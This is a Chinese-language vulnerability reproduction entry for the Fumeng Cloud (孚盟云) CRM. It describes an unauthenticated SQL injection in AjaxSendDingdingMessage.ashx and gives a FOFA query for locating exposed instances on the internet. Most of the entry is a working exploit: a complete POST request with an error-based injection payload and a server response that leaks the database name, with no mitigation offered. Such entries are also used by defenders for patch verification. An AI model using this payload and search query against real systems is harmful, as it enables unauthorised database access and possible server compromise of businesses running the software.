

F10-3孚盟云-CRM系统-SQL

漏洞描述：

由于孚盟云 AjaxMethod.ashx、AjaxSendDingdingMessage.ashx等接口未对用户传入的参数进行合理的校验和过滤，导致传入的参数直接携带到数据库执行，导致SQL注入漏洞，未经身份验证的攻击者可通过此漏洞获取数据库权限，深入利用可获取服务器权限。

网站图片：



网络测绘：

fofa语法：

FOFA: app="孚盟软件-孚盟云"

漏洞复现：

payload:

```
POST /m/Dingding/Ajax/AjaxSendDingdingMessage.ashx HTTP/1.1
Host: your-ip
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

action=SendDingMeg_Mail&empId=2'+and+1=db_name()--+
```

效果图：

Request

1 POST /m/Dingding/Ajax/AjaxSendDingdingMessage.ashx HTTP/1.1

2 Host: 3090

3 X-Requested-With: XMLHttpRequest

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

8 Content-Type: application/x-www-form-urlencoded

9

10 action=SendDingMeg_Mail&empId=2'+and+1=db_name()--+

Responses 220bytes / 59ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/plain; charset=utf-8

4 Vary: Accept-Encoding

5 Server: Microsoft-IIS/10.0

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Fri, 19 Jan 2024 15:32:32 GMT

9 Connection: close

10 Content-Length: 220

11

12 {"Status":"E","Message":"在将 'nvarchar' 值 'master' 转换成数据类型 'int' 时失败。 ISNULL(IsDingTalkMailRemind,0) as IsCanSendMessage,Dingding,CNEmplName from bf EmpId='1' and 1=db_name(1)---"}